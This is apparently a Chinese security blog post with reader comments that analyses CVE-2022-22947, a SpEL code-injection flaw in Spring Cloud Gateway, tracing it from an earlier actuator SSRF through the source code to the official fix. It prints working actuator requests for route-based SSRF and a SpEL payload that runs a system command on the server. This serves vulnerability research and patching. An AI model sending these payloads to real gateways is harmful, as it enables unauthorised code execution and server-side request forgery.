从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析

本文最后更新于 2022.03.07,总计 11088 字 ,阅读本文大概需要 6 ~ 22 分钟
本文已超过 268天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

0x01 写在前面

本周二(3.1)的时候Spring官方发布了 Spring Cloud Gateway CVE 报告

1.png

其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急,周三周四的时候就有不少圈内的朋友发了分析和复现过程,由于在工作和写论文,就一直没去跟踪看看,周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。

0x02 从SSRF说起

看到这个漏洞利用流程的时候,就有一种熟悉的既视感,回去翻了翻陈师傅的星球,果然:

2.png

去年12月的时候,陈师傅提了一个 actuator gateway 的 SSRF漏洞,这个漏洞来自 wya

作者在文章中提到,通过Spring Cloud Gateway 执行器(actuator)提供的管理功能就可以对路由进行添加、删除等操作。

3.png

因此作者利用 actuator 提供的路由添加功能,并根据官方示例,如下图:

4.png

添加了一个路由:

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}

在执行 refresh 操作后,作者成功执行了一个SSRF请求(向https://wya.pl/index.php发起的请求):

5.png

陈师傅最后还在星球里给了个演示的实例:https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md

先不具体讨论为什么payload会这样写,如果你熟悉 CVE-2022-22947 的payload,那么看到这里你一定会有同样的熟悉感。

是的,CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版,并且触发SSRF的原理并不复杂

首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址,并针对该地址添加一个路由

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://www.cnpanda.net",
  "order": 0
}

然后刷新令这个路由生效:

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
  ],
  "uri": "https://www.cnpanda.net",
  "order": 0
}

最后直接访问/new_route/index.php即可触发SSRF漏洞。

到这里有两个问题:第一,payload为什么会这样写?第二,整个请求流程是什么样的?

首先来看第一个问题,payload为什么会这样写

上文中我们提到了Spring Cloud Gateway官方给的实例如下:

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

这实例对比一下SSRF的payload,我们可以发现,在SSRF的payload中多了对过滤器(filters)的具体定义。

而纵观整个payload,实际上可以发现,其就是一个动态路由的配置过程

在Spring Cloud Gateway中,路由的配置分为静态配置和动态配置,对于静态配置而言,一旦要添加、修改或者删除内存中的路由配置和规则,就必须重启才可以。但在现实生产环境中,使用 Spring Cloud Gateway 都是作为所有流量的入口,为了保证系统的高可用性,需要尽量避免系统的重启,因而一般情况下,Spring Cloud Gateway使用的都是动态路由。

Spring Cloud Gateway 配置动态路由的方式有两种,第一种就是比较常见的,通过重写代码,实现一套动态路由方法,如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式,但是这种方式是基于jvm内存实现,一旦服务重启,新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理

6.png

所以其实payload就是比较固定的格式,首先定义一个谓词(predicates),用来匹配来自用户的请求,然后再增加一个内置或自定义的过滤器(filters),用于执行额外的功能逻辑。

payload中我们用的是重写路径过滤器(RewritePath),类似的还有设置路径过滤器(SetPath)、去掉URL前缀过滤器(StripPrefix)等,具体可以参考gateway内置的filter这张图:

7.png

以及gateway内置的Global Filter图:

8.png

第一个问题搞懂了就可以看看第二个问题了:整个请求流程是什么样的?

还是如上例所演示的,当在浏览器中向127.0.0.1:8080地址发起根路径为/new_route的请求时,会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/的根路径下

比如,我们向127.0.0.1:8080地址发起为/new_route/index.php的请求,那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php的路径下,官方在其官方文档(Spring Cloud GateWay工作流程)简单说明了流程:

9.png

看起来比较简单,实际上要复杂的多,我做了一个更详细一点图帮助大家理解:

10.png

我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php 的请求,浏览器接收该请求后交给Spring Cloud Gateway,由Spring Cloud Gateway 进行内部处理,首先是在 Gateway Handler Mapping 模块中找到与/new_route/index.php请求相匹配的路由,然后将其发送到Gateway Web Handler模块,在这个模块中首先进入globalFilters中,由 globalFilters(NettyWriteResponseFilter、ForwardPathFilter、RouteToRequestUrlFilter、LoadBalancerClientFilter、AdaptCachedBodyGlobalFilter、WebsocketRoutingFilter、NettyRoutingFilter、ForwardRoutingFilter) 作为构造器参数创建 FilteringWebHandler。

如下图,可以在 NettyRoutingFilter 中看到我们请求的中间态:

11.png

然后,再由 FilteringWebHandler 运行特定的请求过滤器链,所有 Pre 过滤器(前过滤器)逻辑先执行,然后再向Proxied Service 执行代理请求,代理请求完成后,再由 Proxied Service 返回到 Gateway Web Handler模块去执行 post 过滤器(后过滤器)逻辑,最后由NettyWriteResponseFilter 返回响应内容到我们。响应过程可以参考网关 Spring-Cloud-Gateway 源码解析 —— 过滤器 (4.7) 之 NettyRoutingFilter

12.png

最终一次完整SSRF响应请求就形成了。

实际上这种的 SSRF 属于Spring Cloud Gateway 本身的功能带来的”副产品“,类似于PHPMyadmin后台的SQL注入漏洞。

0x03 CVE-2022-22947 分析

如果你认真的看完了上一节的内容,那么你现在可能会对这个漏洞有了更多的认识。

漏洞的触发点在于我们熟知的SpEL表达式

实际上现在不具体分析源码,根据已有payload或者官方修复diff,你也应该能够得到一个结论:在动态添加路由的过程中,某个filter可以对传入进来的值进行SpEL表达式解析,从而造成了远程代码执行漏洞

那么到底是不是如此呢?

根据这种思路,通过source和sink,然后向上向下连线的方式来验证

先来看看source,即创建路由时的payload:

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

可以看到这里使用的filter是AddResponseHeader,由于我们已经猜测是SPEL表达,因此我们直接搜索SpEL的触发点StandardEvaluationContext

13.png

可以发现,在 ShortcutConfigurable 接口的getValue方法中,使用了StandardEvaluationContext,并且对传入的 SpEL 表达式进行了解析

那么接着查找 ShortcutConfigurable 接口的实现类有哪些:

14.png

可以看到有很多,但是我们要找的是与AddResponseHeader过滤器相关的类,AddResponseHeader过滤器的工厂类是org.springframework.cloud.gateway.filter.factory#AddResponseHeaderGatewayFilterFactory,因此根据模块名我们可以直接确定位置:

15.png

逐一查看会发现:

AddResponseHeaderGatewayFilterFactory 继承于 AbstractNameValueGatewayFilterFactory

AbstractNameValueGatewayFilterFactory 继承于 AbstractGatewayFilterFactory

AbstractGatewayFilterFactory 实现了 GatewayFilterFactory 接口

GatewayFilterFactory 接口继承于 ShortcutConfigurable

因此当从 AddResponseHeaderGatewayFilterFactory 传入的值进行计算(getValue())的时候,会逐一向上调用对应的方法,直到进入带有 SpEL 表达式解析器的位置进行最后的解析,也从而触发了SpEL表达式注入漏洞。

最后我们也可以直接进入 AddResponseHeaderGatewayFilterFactory 类回顾看看:

public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory {

    @Override
    public GatewayFilter apply(NameValueConfig config) {
        return new GatewayFilter() {
            @Override
            public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
                String value = ServerWebExchangeUtils.expand(exchange, config.getValue());
                exchange.getResponse().getHeaders().add(config.getName(), value);

                return chain.filter(exchange);
            }

            @Override
            public String toString() {
                return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this)
                        .append(config.getName(), config.getValue()).toString();
            }
        };
    }
}

可以看到,首先在apply方法中传入了NameValueConfig类型的config,点进去可以看到NameValueConfig类型有两个值,并且不能为空:

16.png

可以看到,NameValueConfig 在AbstractNameValueGatewayFilterFactory中,AbstractNameValueGatewayFilterFactory是AddResponseHeaderGatewayFilterFactory的父类,在父类中进行了getValue()操作,并且可以看到 config 中通过 getValue() 返回的 value 值就是我们所执行的SpEL表达式返回的结果:

17.png

0x04 漏洞修复

由于是SpEL表达式注入漏洞,而引起这个漏洞的原因一般是使用了 StandardEvaluationContext 方法去解析表达式,解析表达式的方法有两个:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用。而StandardEvaluationContext 支持全部SpEL语法。所以根据功能描述,将StandardEvaluationContext方法用 SimpleEvaluationContext 方法替换即可。

官方的修复方法是利用 BeanFactoryResolver 的方式去引用Bean,然后将其传入官方自己写的一个解析的方法GatewayEvaluationContext中:

18.png

20.png

此外,官方还给了建议

19.png

如果不需要Gateway actuator的endpoint功能,就关了它吧,如果需要,那么就利用 Spring Security 对其进行保护,具体的保护方式可以参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

0x05 写在最后

这个漏洞的原理还是比较清晰的,可惜没能通过陈师傅在星球发的那个SSRF漏洞更深的去分析,尝试挖掘新的漏洞,果然,成功是留给有心人的呀!

在这里提醒一下,在实际环境中,如果由于某种原因删除不起作用,有可能会导致刷新请求失败,那么就会有可能会导致站点出现问题,所以在实际测试的过程中,建议别乱搞,不然就要重启站点了。

最后,这个漏洞像不像是官方提供的一种内存马?(hhhhhhhh

文笔有限,如果文章有错误,欢迎师傅们指正

PS:再给陈师傅星球打一波广告

21.png

0x06 参考

https://juejin.cn/post/6844903639840980999

https://blog.csdn.net/qq_38233650/article/details/98038225

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

panda | 热爱安全的理想少年

本文链接:

https://blog.cnpanda.net/sec/1159.html(转载时请注明本文出处及文章链接)

添加新评论

已有 4 条评论
  1. zerotvvo 访客

    AddResponseHeaderGatewayFilterFactory类中的getValue方法和这个洞没关系吧,实际是normalize对filter属性解析过程中调用的ShortcutConfigurable中的getValue

    | 回复
    1. panda 作者
      @zerotvvo

      对的,这里主要解释能回显的原因哈,可能文章没说清楚

      | 回复
  2. 4ra1n 访客

    学习了

    | 回复
  3. RicardMlu 访客

    厉害

    | 回复